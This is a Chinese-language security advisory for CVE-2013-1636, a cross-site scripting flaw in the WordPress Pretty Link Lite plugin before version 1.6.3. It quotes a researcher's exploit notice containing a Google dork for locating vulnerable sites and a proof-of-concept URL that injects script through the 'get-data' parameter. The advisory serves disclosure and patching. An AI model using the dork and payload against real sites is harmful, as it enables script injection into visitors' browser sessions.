发布日期：2013-02-20
更新日期：2013-02-24
受影响系统：
WordPress Pretty Link Lite 1.x
描述：
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BUGTRAQ ID: 58072
CVE(CAN) ID: CVE-2013-1636
Pretty Link Lite是为您网站创建短链接的插件，可以将外部的链接映射到这些短链接，并且可以跟踪链接的每一次点击，而且提供详细的报告，包括来访者ip、来访者使用的浏览器、操作系统等。
Pretty Link 1.6.3之前版本没有在正确验证wp-content/plugins/pretty-link/includes/version-2-kvasir/open-flash-chart.swf的"get-data" GET参数值，可被利用在用户浏览器会话中执行任意HTML和脚本代码。
<*来源：hip [Insight-Labs]
链接：
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
hip [Insight-Labs] 给出了如下测试方法
# Exploit Title: Wordpress pretty-link‏ plugin XSS in SWF
# Release Date: 20/02/13
# Author: hip [Insight-Labs]
# Contact: hip@insight-labs.org | Website:
# Software Link:
# Vendor Homepage:
# Tested on: XPsp3
# Affected version: 1.6.3 before
# Google Dork: inurl:/wp-content/plugins/pretty-link/
# REF:CVE-2013-1636
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# Introduction:
Pretty-link is Shrink, beautify, track, manage and share any URL on or off of your WordPress website. Create links that look how you want using your own domain name!
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# XSS - Proof Of Concept:
vulnerable path:
/wp-content/plugins/pretty-link/includes/version-2-kvasir/open-flash-chart.swf
vulnerabile parameter:get-data
POC:
/wp-content/plugins/pretty-link/includes/version-2-kvasir/open-flash-chart.swf?get-data=(function(){alert(xss)})()
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# Patch:
-- Vendor was notified on the 23/01/2013
-- Vendor released version 1.6.3 on 25/01/2013 Fixed the bug
-- REF:
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建议：
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厂商补丁：
WordPress
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目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：